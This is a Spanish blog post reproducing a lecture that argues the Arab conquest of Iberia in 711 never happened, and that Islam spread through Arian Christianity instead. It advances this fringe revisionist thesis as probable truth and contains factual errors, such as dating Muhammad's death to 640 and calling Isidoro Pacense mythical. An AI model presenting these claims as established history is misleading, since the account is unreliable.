domingo , septiembre 24 2017

¿Quiénes fueron nuestros abuelos?

Ponencia expuesta en Murcia por Hayy Sidi Sa´îd, responsable de laTárika Shadilia en España, Argentina y Argelia. También es escritor y ha publicado trece obras, en la editorial Mandala, sobre la tradición sufí, de la que hubo una importantísima escuela en Ricote.

RESUMEN DE LA PONENCIA:

En la primera parte expondremos una visión diferente sobre el controvertido tema de la invasión árabe en nuestras tierras. Estará documentada en la más moderna investigación y reciente arqueología, en documentación antigua existente en archivos y bibliotecas nacionales, y apoyada por el criterio de preclaros historiadores antiguos y contemporáneos.

Nuestra tierra murciana como parte de Al Ándalus, y específicamente el Valle de Ricote, dieron al mundo hombres y mujeres que destacaron en el ámbito de las artes y de las ciencias.

En la segunda parte diremos que la Filosofía, las Matemáticas, Astronomía, Ingeniería, Medicina, Química, Botánica, Zoología, Dietética, y la Literatura épica, lírica y mística también se gestaron en estas tierras, así como las bases de la metodología científica moderna, en la que nuestros ancestros murcianos andalusíes, de tradición islámica, tuvieron un importante papel, una palabra determinante que aportar al mundo.
Si los autores de todo ello fueron foráneos conquistadores árabes, más tarde expulsados, nada tenemos, todo fue de ellos y con ellos se nos fue. Pero si fueron los naturales de esta región, nuestros dignos abuelos, quienes formaron parte de la gesta, es hora de que conozcamos tales hechos y los reivindiquemos como propios. Y que los murcianos sepan lo que una gran parte del mundo culto ya sabe.

Autores consultados:
– Asín Palacios (jesuita)
– Juan Vernet
– Luce Baralt
– Ignacio Olagüe
– Arab Woorld Studies Notebook
– Francisco J. Flores Arroyuelo
– Padre Flórez (jesuita)
– Prof. Ricardo H. Elía.
– Otros

¿QUIÉNES FUERON NUESTROS ABUELOS?
(Los mil años secuestrados de nuestra historia)

“Cuando todos los andalusíes (murcianos) conozcan su verdadera historia y esencia, será cuando llegaremos a obtener la fuerza necesaria para exigir el respeto que se nos debe, por tener una personalidad tan diferente de aquella que trataron de imponernos por la fuerza”. Blas Infante.
“El pueblo que olvida sus raíces se condena a sí mismo a repetir sus errores, y al desprecio de los demás”.

“Dejamos de temer aquello que hemos aprendido a comprender” Marie Curie.

“La duda es el principio de la Sabiduría” Aristóteles.

“Los hechos no dejan de existir solo porque sean ignorados” Thomas Henry Houxley.

Algunos de ustedes, eruditos investigadores, ya estarán bien informados al respecto de estos comentarios, mejor que yo. Para otras personas, en cambio, todo esto será una novedad sorprendente. Sean ustedes mismos los críticos, sean ustedes quienes decidan si esta exposición, aun a despecho de lo aprendido hasta el momento, es o no es cierta o cuando menos probable.
Según Blas Infante, y según la Historia, tanto los murcianos, como el resto de los andalusíes en general, no podrán exigir el respeto ni el pago de la deuda histórica que se les debe si no la conocen y no se conocen a sí mismos. Esto es obvio.
Nuestra cultura, ¡una de las más grandes que existieron!, fue condenada al exilio o a la destrucción, y no por ser propia de un pueblo invasor, que no lo fue. Esta es la otra propuesta que, formulada por eruditos investigadores, hoy compartiremos.
No obstante el acervo cultural de este pueblo no desapareció por completo, pues en otros lugares del mundo se guardó para que, en el día de hoy, pudiéramos conocerlo si queremos.

ALGUNOS EJEMPLOS. En el mundo islámico existen bibliotecas con miles de volúmenes escritos en estas tierras, o que hablan de ellas. En el Valle del Níger hay una biblioteca con más de tres mil, en Estambul, en Marruecos, así como en otros países de Oriente y Occidente, Alemania, Canadá, etc., se conservan multitud de libros incunables de nuestro saber y de nuestra historia, esparcidos por el mundo. Un tesoro sin precio.
Lo que hoy expondré aquí tampoco será “toda la verdad”, pero… ¿quién la tiene? Mi exposición es, tan solo, una alternativa a lo que nos han dicho. Una alternativa que ha sido investigada durante muchos años por historiadores, andaluces, españoles y extranjeros, cuyo pensamiento difiere del oficial. Serán ustedes quienes decidan si el resultado de tales investigaciones es o no más o menos coherente que el popular.
Que personalmente esté de acuerdo con estos investigadores, si no en todo sí al menos en parte, no significa nada excepto para mí. Por lo que serán ellos los exponentes de cuanto diga, yo solo seré un mero transmisor sin pretensión alguna de sentar cátedra. Esta exposición no es, por lo tanto, más que otra alternativa probable aderezada con algunas reflexiones personales.
Por ello repito nuevamente, serán ustedes quienes decidan si quieren continuar, o no, descorriendo el velo de la Historia.

ESTO ES LO QUE NOS DICE LA HISTORIOGRAFÍA OFICIAL que todos conocemos: el año 711 entraron 7.000 árabes por Tarifa al mando de Táric, y poco después otros 18.000 entran al mando de Musa, nacido en La Meca, que a la sazón tiene unos setenta y un años de edad, 25.000 hombres en total. Nos dijeron que en tres años conquistan un territorio de 584.192 kilómetros cuadrados, habitado por varios millones de personas organizadas en monarquías visigodas y pertenecientes, muchas de ellas, a la decadente cultura grecolatina.
Es decir que, en el periodo de tres años, cada uno de aquellos 25.000 árabes tuvo que realizar el esfuerzo de conquistar 23 kilómetros cuadrados aproximadamente y, por si fuera poco, conquistar, además, parte de Francia y convertir todo ese vasto territorio al islam. ¡Todo en tres años! Ellos solos, con la espalda al descubierto, sin conocer el idioma y sin el apoyo necesario para pertrechar a la exigua tropa invasora.
Lo que las legiones romanas no consiguieron en trescientos años, con todo su aparato militar, y el apoyo logístico desde las Galias, lo consiguen 25.000 árabes “incultos” venidos desde el lejano desierto. Después de atravesar miles de kilómetros del norte de África, sin conocer la herradura con la que calzar a los caballos que no tienen (el desierto de Arabia no lo permite) y con las espaldas descubiertas.
Si la investigación no desmintiera lo que aparentemente es un fraude histórico, el simple sentido común ya nos lo sugeriría.
UNA LÓGICA Y NATURAL POSIBILIDAD sí que existe para la transformación de los territorios islamizados en el mundo. Y es que estos países fueran ganados para la nueva idea por la intervención de bien formados comerciantes o musulmanes voluntarios que se dedicaron a dar a conocer el nuevo Din (camino del islam). Según se desprende de la historia de los inicios del islam al leer la biografía de Muhammad, observamos que sí envió mensajeros a distintas partes del mundo en aquel entonces conocido, y en esta cuestión están de acuerdo todos los críticos. Por lo tanto, esto es lo que pudo suceder en nuestra tierra. He aquí algunos ejemplos.
Sabemos por la historia más reciente que, en los siglos XV y XVI, se extiende el islam por Indonesia a cargo de comerciantes que dan a conocer el Din, no por acción militar.
En los tiempos modernos también se introduce en las islas del Pacífico estando estas bajo el dominio colonial de portugueses y holandeses. Y se introduce en el África subsahariana durante el periodo colonial de Inglaterra, Francia y Portugal, sin que los europeos apenas se dieran cuenta del evento.
Si en este pasado reciente ha sucedido que el islam no tuvo necesidad de imponerse por las armas, sino por el estudio y conocimiento de su promulgación, ¿no es lógico que también pudiera suceder en un lejano pasado en nuestra tierra?

LA INVESTIGACIÓN HISTÓRICA, la arqueología, y la documentación existente en archivos y bibliotecas nos dicen lo siguiente:
A la muerte de Muhammad, en el 640, la pacificación de la Península Arábiga no se había completado. Desde el año 710 hasta principios del siglo IX el norte de África tampoco había sido pacificado totalmente ni por Roma ni por Bizancio, pues las tribus bereberes se hicieron con el control de estas regiones, varias veces, durante este periodo.
Por lo tanto, los hipotéticos invasores árabes no podían tener capacidad para atravesar miles de kilómetros de territorios beligerantes ni de organizar una hazaña de tal magnitud por la pobreza de sus medios. Las comarcas que tenían que atravesar eran en buena parte desierto. Tampoco podían disponer de cobertura a sus espaldas para hacerse con tan vasto territorio y apoderarse después de la Península Ibérica. Añadamos a estas dificultades la pulsación climática de desertización que durante esos años sufre el norte de África haciendo padecer a sus habitantes una hambruna generalizada.
El año 711, fecha oficial de la conquista de España por los árabes, faltaba un siglo todavía para la pacificación del norte de África. Hablamos de una época en la que no existía un servicio de intendencia como el que conocemos ahora. Un grupo armado tenía que ser muy reducido para mantenerse con lo que encontraban en los lugares de paso, o bien estar muy apoyados a sus espaldas por un territorio bien pacificado.
Fueron precisamente estas dificultades las que obligaron al Imperio Romano, con todo su aparato militar, y a pesar del apoyo de las Galias, a tardar más de trescientos años en el intento de conquista de la Península Ibérica. La completa pacificación, siglos más tarde, fue debida a la invasión de los visigodos, origen de nuestras monarquías, que actuaron como fuerza de policía militar reprimiendo a la población de la Península Ibérica en favor de Roma.
Hay otra dificultad añadida. Se nos dice en una de las crónicas oficiales que aquellos supuestos invasores árabes, en su mayoría analfabetos, traían mezclados entre ellos a sirios, coptos, bizantinos y bereberes. Por lo tanto, no eran cultos árabes los 25.000 supuestos invasores. España habría sido islamizada por estas gentes incultas que ni hablaban árabe ni se entendían entre ellos ni sabían nada, o muy poco, del islam. Estos bárbaros, según la historiografía oficial, serían los iniciadores de la vasta cultura andalusí que iluminó al mundo. ¡Francamente sorprendente!
Pero, además, se nos dice que a los pocos meses de la invasión, los 25.000 invasores se enzarzan en disputas entre sí en una lucha que dura más de 70 años, en la que se masacran a miles de sus hombres.
A todo esto, los varios millones de habitantes de la Península Ibérica observan estos acontecimientos impasibles, sin tomar decisión alguna para aprovecharse de la debilidad del invasor. Nos cuentan que esta guerrilla intestina es a causa de las disputas entre Táric y Musa, pues ambos se consideraban dueños de una mesa que, atribuida a Salomón, habían encontrado en Toledo.
Para dirimir en la disputa, ambos dirigentes se van a Bagdad a consultar con el califa, dejando sola a la tropa maltrecha y la conquista sin asegurar. Allí el anciano Musa, con 74 años de los de aquella época, es castigado por el califa a causa de una mesa, en vez de ser premiado por conquistar un país, y muere sin regresar.
Este anciano, Musa ibn Nosair, se nos dice que nace en La Meca el año 640, y muere en Bagdad el 718, por lo que el año 711, fecha de la supuesta invasión, malamente podría ponerse el frente de un ejército con una edad de 71 años. Probablemente, de haber existido, fuera uno de los comerciantes o de los musulmanes que se dedican a extender el islam de los que tenemos constancia que envió el Profeta. Aunque la posterior leyenda lo convirtiera en un aguerrido septuagenario al mando de un exiguo ejército conquistador.
También se nos dice que Táric tampoco regresó de Bagdad. Así pues, dejaron la conquista en manos de los pocos aventureros que quedaron vivos, cuando 70 años después de la supuesta invasión acabaron de matarse entre ellos.
Por otra parte, y durante los setenta años de disputas y masacres entre invasores, los 584.192 kilómetros de la España conquistada deberían de ser pacificados y sus gentes adoctrinadas para el islam. Pero ¿por quién? ¿No se nos dice que estaban ocupados en matarse entre ellos y que no todos eran musulmanes?
El castillo de Ricote, llamado de Al Suhayrat, fue posesión de Ali Berit Hutman, en el año 738. Esto es 27 años después de la supuesta conquista y sin que las hostilidades entre invasores estuvieran resueltas. Pero algo más tarde, en la segunda mitad del siglo VIII, Lorca pasa a dominio musulmán por el pacto de Teodomiro y Murcia es fundada el año 825 por Abderrahman II, sobre una pequeña aldea de origen romano.
En el 801 después del pacto de Teodomiro y de la fundación de Murcia, un estudiante cordobés, Ibn Habib, autor de la crónica árabe, tiene que viajar a El Cairo para informarse sobre la forma en que había llegado el islam a España. Aquí nadie recordaba nada del tema. ¿Cómo es esto posible?
Se deduce de esta historia que algo falla, que hay aparentes signos de leyenda. Y que mientras que España, tierra que en el pasado había sido de Séneca y otros preclaros filósofos y emperadores, era conquistada por un grupo de zafios beduinos matándose entre sí, los varios millones de hispanos se durmieron en los laureles.
El historiador y escritor contemporáneo, Juan Vernet, forma parte del elenco de investigadores que opinan lo siguiente: “Teniendo en cuenta que los árabes portadores del islam original no tenían fuerza militar suficiente, no pudieron introducir el islam mediante la acción castrense, sino como una idea fuerza que va calando lentamente. El cristianismo no había arraigado todavía en España, y una parte importante de la población eran practicantes de otras religiones”.
Comentaremos los documentos y crónicas en los que se apoya lo que estamos considerando como “la fábula de la invasión de los árabes”.

LAS CRÓNICAS ÁRABES de la conquista de la Península Ibérica se escriben siglos después y son adaptaciones de leyendas egipcias que comienzan a extenderse en el siglo X.
A comienzos del siglo X un grupo de andalusíes, recién conversos, sienten la necesidad de viajar a El Cairo en busca de doctos eruditos para formarse en lo relativo a la nueva confesión. Y para, ¡oh, sorpresa!, informarse sobre la llegada del islam a la Península Ibérica.
Entre ellos viaja el tal Ibn Habib, que antes hemos nombrado, quien en su obra Táric nos relata la leyenda de la invasión de los árabes, extraída a su vez de otras leyendas egipcias contadas por sus maestros cairotas. El investigador se debe de preguntar: ¿Cómo es que en la Península Ibérica no quedaba nadie que recordara los hipotéticos acontecimientos de un hecho tan decisivo como lo hubiera sido la conquista árabe tan solo un siglo antes y la conversión al islam de casi todo un país?
Lo cierto es que Ibn Habib y sus compañeros tienen que viajar hasta Egipto para enterarse de lo que pudo haber sucedido en vida de sus bisabuelos. Y si en Península Ibérica no quedaba recuerdo reciente de ninguna invasión, ¿cómo es que los egipcios, tan lejanos, pudieron saberlo?
A propósito de esta crónica. Cuando el año 1860 el historiador Dozy la lee para su investigación, escribe en sus Recherches que no le parecían otra cosa que cuentos de Las mil y una noches.
Si los árabes habían invadido la Península Ibérica, sus nietos no se acordaban de la conquista y tuvieron que viajar a Egipto para informarse, ¿ ?
Quizá en la Edad Media fue más aceptable, para los trinitarios romanos, asumir la historia de la invasión como un castigo divino por las herejías del cristianismo que aceptar la sustitución progresiva de sus ideas religiosas por otras.
Supuestamente, para los andalusíes, y para el orgullo de los árabes en general, también les fue más atractivo ensalzar proezas épicas de sus hipotéticos antepasados que el natural florecimiento de una cultura nuestra, como la que aquí se forjó. Estos criterios son los que se mantienen en la actualidad para justificar la invasión.
LA CRÓNICA BEREBERE se escribe un siglo después de las crónicas árabes y estos, aunque inspirados en la crónica árabe, la modifican para apropiarse del mérito de la invasión. Ahora ya no es la exigua tropa multiétnica de los árabes quienes tienen el mérito de la conquista, en este caso son los rifeños bereberes, que tampoco se privan de acontecimientos milagrosos. Al ruego de Musa las murallas de las ciudades hispano-visigodas se vienen abajo, etc., etc.
Pero ¿cómo pudo ser que los rifeños fuesen portadores de esta nueva idea? Tenemos que considerar que hasta el siglo X el norte de África no conocía bien el islam, ya que en su versión más culta llegó a la ciudad de Fez en esta época. ¡Y precisamente de manos de los andalusíes!
Este suceso del siglo X acaeció reinando en Córdoba Alhakam I, cuando se produjo la famosa revuelta del Arrabal cercano a la actual torre de La Calahorra. Alhakam tiene la desafortunada idea de ordenar la destrucción de los viñedos, a causa de lo cual se organiza una revuelta general que es aplastada por el ejército. Diez mil cordobeses se ven en la necesidad de emigrar al norte de África, y el sultán de Fez, Idris I, deseoso de la cultura y habilidades de los exiliados, les invita a vivir en la ciudad de Fez.
Allí construyen el actual barrio Andalusí, separado del barrio Karauin. Fortifican y enriquecen con sus habilidades la ciudad y, al mismo tiempo, enseñan a los bereberes la lengua árabe (que no dominaban) y un islam más culto del que conocían. Este acontecimiento dio origen al inicio de la posterior monarquía magrebí y al desarrollo de la cultura andalusí en el Magreb, que aún perdura. Y de paso nos enseña que el islam, en su forma culta, llegó a Marruecos desde las tierras hispanas.
¡Oh, sorpresa! Si esto es cierto, como así parece, fueron los andalusíes quienes islamizaron a los marroquíes ¡y no a la inversa! Aunque escuchar esto sorprenda enormemente, pues le da un vuelco a la historia oficial, la documentación, la arquitectura, y la cultura que nos lo enseña existen. Pero recuerden ustedes que yo solo soy un transmisor de documentos, no un autentificador de ellos.

EN RESUMEN. Los anales que se conservan de la hipotética invasión corresponden todos a la Edad Media. Ninguno se conserva que sea contemporáneo de principios del siglo VIII. El único es el del obispo Isidoro Pacense, pero desde hace dos siglos sabemos que es un personaje mítico. Desde el rey visigodo Vamba hasta Alfonso III, ni cristianos de confesión alguna ni musulmanes dejan documentación creíble al respecto.
Las leyendas y las contradicciones se suman unas a otras, pero hemos de comprender que la falta de tiempo y espacio no nos permitirán hacer una exposición completa de cuanto hemos encontrado en nuestra investigación. Toda esta exposición no es sino un brevísimo resumen cuyo único fin es el de ofrecer, como dije al inicio, otra alternativa para la reflexión. Pero la realidad será mucho más amplia, sorprendente y controvertida.

LA CRÓNICA DE AJBAR MACHMUA prototipo de las crónicas Bereberes se escribe hacia el año 1004, pero como vemos es un relato tardío, incoherente, épicamente embellecido por generaciones posteriores y plagado de exageraciones milagrosas. Aquí la poesía se hace leyenda y la leyenda historia.

LAS CRÓNICAS LATINAS anteriores al siglo XI poseen un cierto interés al reflejar, de forma velada, no la invasión sino el origen del verdadero y antiguo problema, las diferencias de un estado de opinión entre unitarismo y trinitarismo, sin haber en ellas una relación ordenada de acontecimientos.
En una de las anónimas latinas se nos dice que Táric viene acompañado de un noble tribuno llamado Yulián. Más tarde, la crónica de Silos le convierte en el conde D. Julián gobernador de Ceuta y propiciador de la invasión como padre vengador de su hija, la amante seducida por el rey D. Rodrigo. Es este conde quien prestó a los invasores, mezcla de árabes y otras razas, cuatro lanchas para atravesar el Estrecho de Gibraltar con el ejército, los pertrechos y la caballería. Es decir, que un conde cristiano hispano-visigodo vasallo de Archila y perteneciente al obispado de la Bética es el responsable de la invasión… ¿?
Si calculamos el número de hombres, caballos, y equipaje por lancha, se hubieran necesitado aproximadamente tres o cuatro meses para llevar a cabo el traslado. Teniendo en cuenta que los habitantes de Cádiz poseían una flota capaz de transportar este ejército de una sola vez, ¿permanecieron impasibles ante el lento goteo de invasores sin mover un solo dedo para defenderse? Esta leyenda ya fue estudiada y desbaratada por Hinojosa en el siglo XIX.
El resto de las crónicas latinas, aun siendo antiguas, no se componen hasta 150 años después del 711. Todas ellas hacen un alarde de leyenda y disparate con pretensiones historicistas para contarnos que los invasores luchan en nuestra tierra contra estatuas de cobre y atacan una ciudad habitada por genios que les conminan a irse. A las tropas trinitarias se les aparece el apóstol Santiago sobre un caballo blanco desjarretando moros, siendo que los musulmanes sienten un absoluto respeto y veneración por la persona de Jesús de Nazaret y sus apóstoles. En Toledo se encuentran, como dijimos, la mesa del Rey Salomón, motivo de la disputa entre Táric y Musa, y un cofre en el que el mismo Salomón había aprisionado a unos genios, etc., etc.
En el siglo XIII Jiménez de Rada introduce en Occidente el mito de la invasión en su versión definitiva, pero aderezada con los mitos orientales.
Tanto las crónicas latinas, como las árabes y bereberes, están plagadas de acontecimientos legendarios, de milagros, de fábulas y anacronismos que ni tan siquiera concuerdan entre sí.

OTRAS CRÓNICAS son las egipcias de Ibn Abd al Hakam, del año 871, donde se nos dice que en el ejército invasor solo había dieciséis árabes. La de Ibn Abú al Rica, del año 891. Y los relatos concernientes al poder temporal y espiritual, compuesto en el 1062, pero todas son fábulas y leyendas del mismo estilo mágico-milagroso, trasladadas a la Península Ibérica desde lejanas tierras. Las restantes son crónicas de autores nórdicos de los siglos IX y X.
Es mi prudente parecer que, en las escuelas, se continúa enseñando poco y deformado sobre la historia de la transformación ideológica que hizo de nuestra patria la cuna del saber universal, a causa de ideas renovadoras y no de masacres. Hemos suprimido el cuento de milagros y genios, pero hemos mantenido la leyenda de la invasión de los árabes que lo sustenta.
El historiador alemán Félix Dahn ya nos advertía en el pasado siglo XX del aspecto legendario de todas estas narraciones. Y en el año 1892 nuestro historiador D. Eduardo Saavedra también nos advertía de lo mismo.
El ilustre político e historiador, D. Antonio Cánovas del Castillo, nos enseñaba: “El estudio de los hechos de los españoles musulmanes tiene tan verdadera importancia, que de ello depende que nuestra historia llegue a la madurez o permanezca en la adolescencia”.
Y el contemporáneo catedrático de historia de la Universidad de Zaragoza, D. Guillermo Fatas, piensa que: “Si el islam es una de las mayores claves de la historia de España, en esta tierra del mudéjar, del alfar, de Avempace y del castillo de Ayub, ya va siendo hora de que nos enteremos de tal cosa”.
LA SITUACIÓN RELIGIOSA en la Península Ibérica antes y después del 711. Algunas particularidades.
Con la entrada de los godos admitidos por el Imperio Romano, la Crónica del gallego Idatius, escrita entre los años 395-470, única que se conserva de su llegada, arremete en contra de ellos. Pero no lo hace porque sean invasores consentidos por la política de Roma, sino porque no son católicos trinitarios romanos. ¡Son cristianos arrianos unitarios! Ellos decían “Dios no es tres, es Uno”. Tal como en la actualidad proclaman otras iglesias cristianas.
Desde el siglo IV hasta el IX, tras las invasiones de los suevos en Galicia y las diversas revoluciones sociales, con la cruzada cluniacense y la pérdida del culto arriano-priscilianista, el rey Eurico rompe con Bizancio. Del culto al arrianismo del obispo Prisciliano solo quedaba un vago recuerdo en la veneración a la tumba confundida posteriormente con la de Santiago. Esta usurpación se llevó a cabo durante el reinado de Alfonso III, rey de los astures. Para más datos se puede leer a L. Duchesne y a D. Miguel de Unamuno.
Eurico decreta el cristianismo arriano-unitario como religión oficial del estado, imponiéndose en parte de Francia y España, como confesión predominante, hasta finales del siglo VIII. Más allá del 711, supuesta fecha de la invasión árabe.
Mas no era el cristianismo unitario una nueva tendencia, pues ya en el Concilio de Nicea del año 325 se debaten las diferencias entre unitarismo y trinitarismo.
El año 785, 74 después de la supuesta invasión, el Papa Adriano I envía a España a un delegado pontificio para combatir la situación de los cristianos adversos al trinitarismo de Roma, este delegado, Egila, se pasa al bando de los unitaristas. El unitarismo progresa, pero de la presencia del islam sigue sin haber testimonios documentales.
Dado el ambiente favorable, todas las doctrinas unitaristas se unen en una sola. Se crea una forma de pensamiento que manifiesta una gran plasticidad y lo mantiene abierto a otras posiciones intelectuales, permitiendo la independencia que facilita el florecimiento de un criterio propio, capaz de desarrollar las ciencias y las nuevas concepciones filosóficas.
Esta creencia unitarista prospera y se mantiene mayoritariamente en las zonas más ricas y cultas de la Península Ibérica, el sur, hasta la llegada progresiva del sincretismo muhammadí. Convirtiéndose el cristianismo arriano-unitario en el vehículo de entrada para la nueva modificación de las ideas y desarrollo de la cultura que sería conocida como andalusí.
En este tiempo la corriente arriano-unitaria era también llamada el cristianismo de los godos, en tanto que el cristianismo-trinitario era reconocido como la religión de los romanos. Tanto la una como la otra se apropiaban alternativamente del título de “católicas”, es decir, “universales”.
Como ya dijimos, para la corriente trinitaria romana Jesús es Dios, para los unitarios arrianos Jesús no es Dios y anuncia la venida de otro profeta último: “Después de mí vendrá otro más grande que yo”. Esta fue la creencia preislámica que facilitó la expansión del islam en nuestra Península.
Para los trinitarios de Roma, Juan el Bautista fue el anunciador de Jesús. Lo que para los unitarios arrianos hispanos, tras la llegada del sincretismo muhammadí, llegó a ser Jesús con respecto a Muhammad.
En los siglos VIII y IX nos muestran las crónicas la existencia de las dos corrientes cristianas confrontadas por la supremacía. El trinitarismo de práctica mayoritaria en el norte, en las zonas más incultas y deprimidas. El unitarismo con más éxito aquí en el sur, en las zonas más ricas y cultas.
Pero observamos que en el transcurso de la historia hay periodos en los que acaban por mezclarse y adaptarse a la mutua convivencia, algo semejante a lo que sucede en la actualidad entre los católicos y los diversos protestantes. A pocos cristianos les importaría en estos momentos las variantes introducidas en las demás iglesias que les son ajenas, por lo que una nueva forma de fe se podría introducir a través de una de estas iglesias sin apenas se percibida por las demás. Excepto en el momento en que se hiciera pública su diferencia.
Imaginemos que los evangelistas, de confesión minoritaria en estas tierras, introdujesen con discreción alguna variante en su fe. Sucedería que hasta que no la hicieran pública nadie, o casi nadie, se daría cuenta.
De la misma manera en aquel entonces, acabaron por ser a penas percibidas, para unos y para otros, las variantes introducidas en los respectivos ritos y doctrinas ya conocidas y admitidas del unitarismo arriano. El antiguo cristianismo arriano unitario visigodo ya no era una novedad para los trinitarios romanizados y viceversa. Tenían otros problemas más importantes que afrontar. Era el adopcionismo de origen nestoriano, predicado por Félix obispo de Urgel y por Elipando obispo de Toledo, así como las teorías del obispo Migecio, las nuevas corrientes a combatir. Pero no ya el unitarismo arriano o el trinitarismo romano, los unos se habían habituado a los otros, más o menos, ya que pasaban a ser religiones oficiales alternativamente. Al igual que hoy se han acomodado a vivir juntos evangelistas, adventistas, católicos, testigos de Jehová, etc.
En estas circunstancias, el islam se pudo introducir, inicialmente, a través del arrianismo, como una nueva variante desapercibida al principio, pero que mejoraba la calidad de vida de la población. Equiparaba en derechos al hombre y a la mujer, no discriminaba a las personas por su origen étnico, era más tolerante con otras formas de religión, inducía insistentemente a la cultura, a la higiene, al equilibrio ecológico, rechazaba la usura del prestamista, etc. La altura cultural a la que se llegó nos indica los niveles de tolerancia ideológica y la calidad de vida que se alcanzó.
Las primeras comunidades continuaron manteniendo el nuevo culto en sus iglesias y poco a poco el islam fue calando como una idea renovadora venida de Oriente e impulsora de una nueva cultura que empezaba a florecer. No como una nueva religión, o como una diferenciada doctrina religiosa que arrasa como el huracán, sino como un judeo-cristianismo salido del desierto. Al menos hasta que Abderrahman II trae a eruditos musulmanes de Oriente, con el fin de impulsar la decisiva labor de culturización y diferenciación posterior.
Hoy podemos aportar un nuevo y contundente dato arqueológico descubierto en Játiva en junio del año 2004. Se trata de la lápida funeraria de un musulmán enterrado el 21 de febrero del año 648, 63 años antes de la pretendida invasión. Es de suponer que el hombre en cuestión no gravara su propia lápida y que no tuviera la mala suerte de morirse recién llegado. Luego otros vinieron con él y, en aquella Península Ibérica plural, pasaron desapercibidos.
Ocho años antes de ser gravada esta lápida, en el 640, muere el Profeta Muhammad (s.a.s) habiendo enviado mensajeros a Abisinia, a Constantinopla, Bizancio, Alejandría, etc. ¿No cabe la posibilidad, como buen estratega, de que en vida los enviara también al extremo Occidental más rico y culto del Imperio, que era Hispania? La lápida parece afirmarlo.
Veamos la documentación que existe sobre ese periodo de la historia:
Los historiadores árabes ofrecen una sorprendente noticia en el año 27 de la hégira/647-48, según la cual el califa Ütman habría enviado una expedición por mar contra la Península Ibérica bajo el mando de Äbd Allah b. Nafi b. al-Hsayn y Äbd Allah b. Abd al-Qays: “Utman mandó a ‘Abd Allah b. Nafi’ b. al-Husayn y a ‘Abd Allah b. Nafi’ b. ‘Abd al-Qays [partir] inmediatamente de Ifriqiya a al-Andalus. Y llegaron ambos a ella por mar. ‘Utman había escrito a los contingentes que se dirigieron a al-Ándalus; ‘Constantinopla solo será conquistada a través de al-Ándalus. Si vosotros conquistáis esta, compartiréis la recompensa de quienes conquisten aquella. La paz’. Ka’b al-Ahbar dijo: ‘Cruzarán el mar hacia al-Ándalus unas gentes que la conquistarán y que el Día del Juicio serán reconocidas por la luz [que desprendan]”.
No sabemos si esta noticia es digna de crédito, pues es sabido que en esas fechas Ifriqiya, desde donde supuestamente se harían a la mar las naves rumbo a la Península Ibérica, tampoco había sido conquistada por los aguerridos guerreros árabes. (Pero como ya dijimos, no deja de ser sorprendente la coincidencia de fechas, de la lápida y la supuesta expedición por mar contra la Península).
Existen otras crónicas de los historiadores cristianos, donde hallaremos información sobre una temprana incursión musulmana por mar contra las costas ibéricas. Las crónicas de Alfonso III (866-910). Se trata de una obra que presenta ciertos problemas historiográficos sobre su autoría y fecha de redacción, problemas derivados de que no se conserve en su versión original. Nos han llegado dos redacciones, conocidas por ovetense y la rotense, estos códices fueron encontrados en la catedrales de Roda (Huesca) y Oviedo. Las crónicas recogen el ataque de una flota sarracena ¿musulmana o cristiana unitaria? compuesta por 270 naves durante el reinado de Wamba (672-680), donde nos dice que fueron aniquilados y las embarcaciones quemadas.
Rotense: Illius quoque tempore CCLXX nabes sarracenorum Spanie litus sunt adgrese; ibique omnes pariter sunt delete et ignibus concremate.

Ovetense: Illius namque tempore ducentae septuaginta naves Sarracenorum Yspaniae littus sunt adgressage; ibique omnia eorum agmina ferro sunt deleta, et classer eorum ignibus concrematae. Et ut tibi causam introitus Sarracenorum in Yspaniam plene noteceremus, originem Eruigii regis exponimus.

Las Crónicas Najerense, sin duda tomándolo de la Crónica de Alfonso III, también recoge la noticia.
In illius namque tempore ducente LXX naues sarracenorum Yspanie litus sunt adgrensse; ibique omnes pariter sunt delete et ignibus concremate.

Caetani, siguiendo los Anales de Baronius, Muratori y Rampoldi, fija la fecha de esa hipotética incursión en el año 55/675. Ese mismo año o uno posterior es el que da como probable M. Barceló.
Hay un proverbio de Muhammad en el que dice: “Llegará un día en el que la luz del mundo salga del Occidente…”. ¿Y qué Occidente culto y reconocido era ese, sino nuestra Península Ibérica?
Quizás por esta causa Blas Infante escribió en una ocasión: “Los andaluces (andalusíes) queremos volver a ser lo que fuimos, hombres y mujeres de luz, que a los hombres, alma de hombres les dimos”.
Si el Occidente más extremo era el Finis Térrae, y en el 648 ya había comerciantes o mensajeros en nuestras tierras, es muy probable de que fueran enviados por el propio Profeta a enseñar el islam. Que al inicio, y por su evidente similitud con el judeo-cristianismo unitarista, se introdujo sin fricciones a través del arrianismo y modificando a este. Y no en el 711 con el fuego, la espada y 25.000 beduinos analfabetos.

LOS ANALES DE UNA PROBABLE VERDAD HISTÓRICA.

Según la documentación, razonablemente creíble, existente en archivos y bibliotecas nacionales.
Antes de su muerte el rey de la Bética, Vitiza, nombra gobernador de Tingis (Tánger) capital de la provincia tingitana, a Táric. En materia de religión esta ciudad pertenecía al obispado de la Bética, ¡no a los árabes!.
Tras la muerte de Vitiza su adolescente hijo Archila, cristiano del arrianismo unitarista, reclama en el 711, por pacto de fidelidad, ayuda a su correligionario y súbdito, el gobernador visigodo Táric. Esto lo hace con el fin de preservar sus derechos al trono en contra de las pretensiones de usurpación por parte de Roderic, rey de Toledo de confesión trinitaria-romana.
Sabemos que el nombre Táric no es árabe, ya que la partícula (ic) del sufijo, es de origen germánico, y significa hijo de… Por lo que Tár-ic sería hijo de Tar. Así como Roder-ic sería hijo de Róder, Alar-ic sería hijo de Alar, Eur-ic sería hijo de Eur, Amalar-ic sería hijo de Amalar, Ilder-ic sería hijo de Ilder, etc. No podemos buscar aquí a un árabe invasor, sino a gentes germanas.
Por lo tanto, los llegados de la Tingitana eran germanos visigodos, y quizás algunos rifeños de antiguo origen Amasir. Los bereberes, o bárbaros, son lo que queda del pueblo Amasir, del Cáucaso, que unos 10.000 años antes habían sido empujados hacia el sur por los Dorios, asentándose en el sur de la Península Ibérica y en el norte de África. En esta época eran, en su mayoría, pertenecientes a otras religiones o al cristianismo arriano-unitarista. Al igual que el conde D. Julián de Ceuta, y sus correligionarios de la Bética.
Sabemos que la Tingitana pertenecía al obispado de la bética porque S. Isidoro Obispo de Sevilla, 75 años antes de la supuesta invasión, escribe en sus Etimologías, libro 14; IV-29, diciendo que la Provincia Tingitana, cuya capital era Tingis, o Tánger, pertenece al Imperio Visigodo.
